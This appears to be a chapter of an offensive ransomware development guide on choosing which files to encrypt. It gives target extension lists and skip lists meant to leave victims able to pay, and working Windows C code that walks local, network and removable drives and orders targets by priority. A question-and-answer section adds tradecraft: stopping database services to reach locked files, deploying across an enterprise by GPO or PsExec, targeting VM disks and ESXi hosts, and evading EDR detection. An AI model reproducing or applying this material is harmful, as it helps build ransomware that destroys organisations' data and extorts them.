File Enumeration and Targeting
The most critical operational decision in ransomware is what to encrypt and what to leave alone. Encrypt too little and the victim can restore quickly without paying. Encrypt the wrong things (Windows system files, browser executables) and the victim can't even open a browser to read the ransom note or visit the payment portal. This chapter covers the complete file targeting logic: directory walk, extension targeting lists, system file skip lists, priority ordering, and the I/O pattern optimization that determines encryption speed.
What to Encrypt — The Targeting Decision
WHAT TO ENCRYPT (high-value targets — destroy data value): ───────────────────────────────────────────────────────────────────────── Documents: .docx .doc .xlsx .xls .pptx .ppt .pdf .odt .ods .odp Source code: .py .js .ts .cs .cpp .c .h .go .rs .java .php .rb Databases: .sql .mdb .accdb .db .sqlite .sqlite3 .mdf .ldf .bak Design: .psd .ai .indd .xd .fig .sketch .dwg .dxf .3ds .max Archives: .zip .7z .rar .tar .gz .bak Certificates: .pem .key .crt .pfx .p12 .cert Config: .yml .yaml .json .toml .env .conf .ini .cfg Media: .mp4 .avi .mov .mp3 .flac .wav (valuable to users) Email: .pst .ost .msg .eml .mbox VMs: .vmdk .vhd .vhdx .vmx .ova .ovf (encrypt these = bring down servers) WHAT NOT TO ENCRYPT (critical for victim to be able to pay): ───────────────────────────────────────────────────────────────────────── Windows OS: C:\Windows\ — encrypting kernel/system files = unbootable System DLLs: .exe .dll .sys — victim needs browser to access payment portal Boot files: bootmgr, BCD, BOOTMGR — encrypt these = can't boot, can't pay Tor Browser: if present, preserve it (victim needs to access .onion payment site) RANSOM NOTE: .txt .html files left by ransomware itself (don't re-encrypt them) DIRECTORY SKIP LIST (always skip): ───────────────────────────────────────────────────────────────────────── C:\Windows\ C:\Windows\System32\ C:\Windows\SysWOW64\ C:\Program Files\ (browsers, email clients needed for payment) C:\Program Files (x86)\ C:\$Recycle.Bin\ C:\Boot\ %APPDATA%\Microsoft\ (essential user apps) $RECYCLE.BIN\, System Volume Information\, RECYCLER\ NETWORK SHARES (encrypt these — most enterprise data lives here): ───────────────────────────────────────────────────────────────────────── Map all network shares: GetLogicalDrives() → check DriveType = DRIVE_REMOTE Or use WNetOpenEnum / WNetEnumResource to walk the network neighborhood Or: mount shares explicitly from known server list (from network recon)
Directory Walk with Skip Logic
/* file_enum.c — Enumerate files for encryption with targeting logic */
#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
/* Files targeted for encryption — passed to encrypt_file() in Ch90 */
typedef struct {
WCHAR **paths; /* Array of file paths */
DWORD count;
DWORD capacity;
DWORD64 total_bytes;
} FileList;
static void filelist_add(FileList *fl, const WCHAR *path, DWORD64 size) {
if (fl->count >= fl->capacity) {
fl->capacity = fl->capacity ? fl->capacity * 2 : 4096;
fl->paths = (WCHAR**)realloc(fl->paths, fl->capacity * sizeof(WCHAR*));
}
fl->paths[fl->count] = _wcsdup(path);
fl->count++;
fl->total_bytes += size;
}
/* Extension lists */
static const WCHAR *ENCRYPT_EXTENSIONS[] = {
L".docx", L".doc", L".docm", L".xlsx", L".xls", L".xlsm",
L".pptx", L".ppt", L".pdf", L".odt", L".ods", L".odp",
L".txt", L".rtf", L".csv", L".sql", L".mdb", L".accdb",
L".db", L".sqlite", L".sqlite3", L".mdf", L".ldf",
L".py", L".js", L".ts", L".cs", L".cpp", L".c", L".h",
L".go", L".rs", L".java", L".php", L".rb", L".swift",
L".psd", L".ai", L".indd", L".xd", L".fig", L".dwg",
L".zip", L".7z", L".rar", L".tar", L".gz", L".bak",
L".pem", L".key", L".crt", L".pfx", L".p12",
L".yml", L".yaml", L".json", L".toml", L".env", L".conf",
L".vmdk", L".vhd", L".vhdx", L".vmx",
L".pst", L".ost", L".msg", L".eml",
NULL
};
static const WCHAR *SKIP_DIRECTORIES[] = {
L"Windows", L"Windows.old", L"System32", L"SysWOW64",
L"Program Files", L"Program Files (x86)", L"ProgramData",
L"$Recycle.Bin", L"RECYCLER", L"$RECYCLE.BIN",
L"System Volume Information", L"Recovery", L"Boot",
L"WindowsApps", L"AppData\\Local\\Microsoft",
L"AppData\\Roaming\\Microsoft\\Windows",
L"Tor Browser", /* Leave Tor Browser for victim to access payment site */
NULL
};
static BOOL should_skip_directory(const WCHAR *dir_name) {
for (int i = 0; SKIP_DIRECTORIES[i]; i++) {
if (_wcsicmp(dir_name, SKIP_DIRECTORIES[i]) == 0) return TRUE;
/* Also check if dir_name contains the skip pattern */
if (wcsstr(dir_name, SKIP_DIRECTORIES[i])) return TRUE;
}
return FALSE;
}
static BOOL extension_should_encrypt(const WCHAR *filename) {
const WCHAR *ext = wcsrchr(filename, L'.');
if (!ext) return FALSE;
for (int i = 0; ENCRYPT_EXTENSIONS[i]; i++) {
if (_wcsicmp(ext, ENCRYPT_EXTENSIONS[i]) == 0) return TRUE;
}
return FALSE;
}
/* Recursive file enumeration with skip logic */
void enumerate_files(const WCHAR *root_dir, FileList *file_list,
RansomwareConfig *cfg) {
WCHAR search[MAX_PATH * 2];
swprintf(search, MAX_PATH * 2, L"%s\\*", root_dir);
WIN32_FIND_DATAW fd = {0};
HANDLE hFind = FindFirstFileW(search, &fd);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
continue;
WCHAR full_path[MAX_PATH * 2];
swprintf(full_path, MAX_PATH * 2, L"%s\\%s", root_dir, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
/* Skip system directories */
if (!should_skip_directory(fd.cFileName)) {
enumerate_files(full_path, file_list, cfg);
}
} else {
/* File — check targeting criteria */
DWORD64 file_size = ((DWORD64)fd.nFileSizeHigh << 32) | fd.nFileSizeLow;
/* Skip: too small, too large, wrong extension, ransomware's own files */
if (file_size < cfg->min_file_size) continue;
if (cfg->mode == MODE_ENCRYPT_PARTIAL && file_size > cfg->max_file_size) continue;
if (!extension_should_encrypt(fd.cFileName)) continue;
if (_wcsicmp(fd.cFileName, L"HOW_TO_DECRYPT.txt") == 0) continue;
filelist_add(file_list, full_path, file_size);
}
} while (FindNextFileW(hFind, &fd));
FindClose(hFind);
}
/* Enumerate all drives including network shares */
void enumerate_all_drives(FileList *file_list, RansomwareConfig *cfg) {
DWORD drive_mask = GetLogicalDrives();
for (int d = 0; d < 26; d++) {
if (!(drive_mask & (1 << d))) continue;
WCHAR root[4] = {L'A' + d, L':', L'\\', 0};
UINT drive_type = GetDriveTypeW(root);
if (drive_type == DRIVE_FIXED) {
printf("[*] Scanning fixed drive: %ls\n", root);
enumerate_files(root, file_list, cfg);
} else if (drive_type == DRIVE_REMOTE && cfg->encrypt_network_shares) {
printf("[*] Scanning network drive: %ls\n", root);
enumerate_files(root, file_list, cfg);
} else if (drive_type == DRIVE_REMOVABLE && cfg->encrypt_removable) {
printf("[*] Scanning removable drive: %ls\n", root);
enumerate_files(root, file_list, cfg);
}
}
printf("[+] Enumeration complete: %lu files, %llu bytes total\n",
file_list->count, file_list->total_bytes);
}
Priority Ordering — What to Encrypt First
/* Priority ordering: if encryption is stopped mid-way, the highest-value
files should already be encrypted. Order matters. */
/* Priority score for a file — higher = encrypt sooner */
static DWORD file_priority_score(const WCHAR *path, DWORD64 file_size) {
const WCHAR *ext = wcsrchr(path, L'.');
/* Priority 1 (encrypt first): Databases, VMs, backup files */
if (ext) {
if (_wcsicmp(ext, L".vmdk") == 0 || _wcsicmp(ext, L".vhd") == 0 ||
_wcsicmp(ext, L".vhdx") == 0) return 100; /* VMs */
if (_wcsicmp(ext, L".mdf") == 0 || _wcsicmp(ext, L".sql") == 0 ||
_wcsicmp(ext, L".bak") == 0) return 90; /* Databases */
if (_wcsicmp(ext, L".pst") == 0 || _wcsicmp(ext, L".ost") == 0) return 80; /* Email */
}
/* Priority 2: Documents and source code */
if (ext) {
if (_wcsicmp(ext, L".docx") == 0 || _wcsicmp(ext, L".xlsx") == 0 ||
_wcsicmp(ext, L".pdf") == 0) return 70;
if (_wcsicmp(ext, L".py") == 0 || _wcsicmp(ext, L".cs") == 0) return 60;
}
/* Larger files encrypted before smaller ones (more data value per file) */
if (file_size > 100 * 1024 * 1024) return 50; /* Large files */
return 10; /* Default */
}
/* Sort file list by priority (highest first) */
static int compare_file_priority(const void *a, const void *b) {
const WCHAR *path_a = *(const WCHAR**)a;
const WCHAR *path_b = *(const WCHAR**)b;
/* Priority is computed on the fly for comparison */
return (int)file_priority_score(path_b, 0) - (int)file_priority_score(path_a, 0);
}
void sort_files_by_priority(FileList *fl) {
qsort(fl->paths, fl->count, sizeof(WCHAR*), compare_file_priority);
}
Questions & Answers
Why do some ransomware families encrypt files without any extension filter at all?
Extension-based targeting has a subtle weakness: any file type not in the list is preserved. Files without recognized extensions (configuration files named "config", scripts named "deploy", company-specific file formats with custom extensions) escape encryption. Some operators take the position that a missed file could be the one backup the victim restores from, or a critical database with a non-standard extension. The risk of encrypting "everything except the explicit skip list" (inverse filtering — encrypt everything except .exe, .dll, .sys, .lnk, boot files) rather than a whitelist approach: you may corrupt files the victim needs to boot and access the payment portal (custom Windows scripts, important .bat/.cmd files). Modern ransomware often uses the inverse approach: a blocklist of extensions to SKIP rather than an allowlist of extensions to encrypt. This catches more files but requires a very careful blocklist to avoid bricking the system. The LockBit blocklist is one of the most carefully maintained — it skips dozens of Windows-critical file types while still encrypting virtually everything of business value.
How does ransomware handle files that are locked by running applications (open handles)?
Locked files are one of the most frustrating practical challenges. Database files (SQL Server .mdf), email stores (.pst currently open by Outlook), and any file held with exclusive write access will cause CreateFile to fail or GetLastError to return ERROR_SHARING_VIOLATION. Solutions: (1) Use the same FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE flags as the locked file reader in Ch78. This bypasses most but not all locks. (2) For database servers: send SIGTERM/stop the service before encrypting. Many enterprise ransomware strains stop SQL Server, Exchange, and other database services before encryption. The attacker does: net stop MSSQLSERVER → wait 5 seconds → enumerate SQL data files → encrypt them. (3) Use Volume Shadow Copy service for in-place file access to locked files — VSS creates a consistent snapshot where locked files appear closed. (4) Copy-on-write approach: copy the locked file to %TEMP% (works around the lock), encrypt the copy, then replace the original with the encrypted copy when the application releases the lock. Some ransomware keeps a "retry queue" of files that failed due to locking and retries every 30 seconds.
What's the fastest way to enumerate files across a large enterprise environment?
For a single machine: recursive FindFirstFile/FindNextFile with the skip logic above processes ~500,000 files per second on modern NVMe storage — a typical enterprise workstation with 200,000 files is enumerated in under 1 second. For network shares: the bottleneck is network latency and SMB protocol overhead. EnumFiles over SMB is significantly slower than local enumeration. Optimization: use multiple threads, one per network share/server. 8 threads enumerating 8 servers simultaneously gives 8x throughput. Even faster: query the file server's file system directly via its OS (if you have RDP/shell access to the file server, run the enumeration locally and pipe file paths back) rather than enumerating over SMB. Cluster-aware ransomware groups deploy the ransomware binary to each server via GPO or PSExec, run encryption locally on each server simultaneously, and synchronize start time via a shared signal file or timestamp. This achieves maximum throughput because each machine's I/O is local — no network bottleneck.
Why are VM disk files (.vmdk, .vhd) the highest-priority encryption targets?
Virtual machine disk files are often the most operationally critical files in an enterprise environment. They contain: running server VMs (web servers, application servers, email servers), snapshots of entire system states, and often the only copy of certain workloads if the organization's backup strategy only covers the VM host, not the guest VM contents separately. A .vmdk file for a production Exchange server may be 500GB but contain the entire mail system. Encrypting it takes minutes (or seconds with partial encryption) and takes down email for the entire organization. From a ransom leverage perspective: "your email is down, your ERP system is inaccessible, your production databases are encrypted" creates immediate, board-level pressure to pay. Individual document files (.docx, .xlsx) can often be reconstructed or are less immediately critical. VMs cannot be reconstructed without the data inside them. This is why enterprise ransomware specifically targets VMware ESXi servers — encrypting the .vmdk files on the hypervisor takes down all VMs running on that host simultaneously with a single attack against one server.
How does the file enumeration phase itself become detectable by EDR?
File enumeration produces distinctive behavioral signals: (1) A process that opens and reads a directory listing for thousands of directories in rapid succession — this is visible in file I/O ETW events and process call patterns. A legitimate process rarely touches thousands of directories in seconds. (2) The system call NtQueryDirectoryFile is used for directory enumeration — high-frequency calls from a non-system process are anomalous. (3) The combination of enumeration followed immediately by file opens with GENERIC_READ | GENERIC_WRITE (to encrypt in place) is the canonical ransomware behavioral pattern. CrowdStrike Falcon, Microsoft Defender ATP, and most enterprise EDRs have detection models specifically for this: file enumeration + write-back to all enumerated files = ransomware. Evasion: (1) Slow down enumeration — add random delays between directory reads (10-50ms per directory). This extends the encryption time from minutes to hours but defeats rate-based detection. (2) Randomize enumeration order — don't enumerate directories alphabetically or in creation order; random order breaks pattern matching. (3) Use legitimate OS APIs that have lower EDR visibility (NtQueryDirectoryFile with buffer sizes that look like legitimate Explorer activity). Production ransomware groups balance speed (get as many files encrypted before detection as possible) vs. stealth (don't trigger before encryption is complete).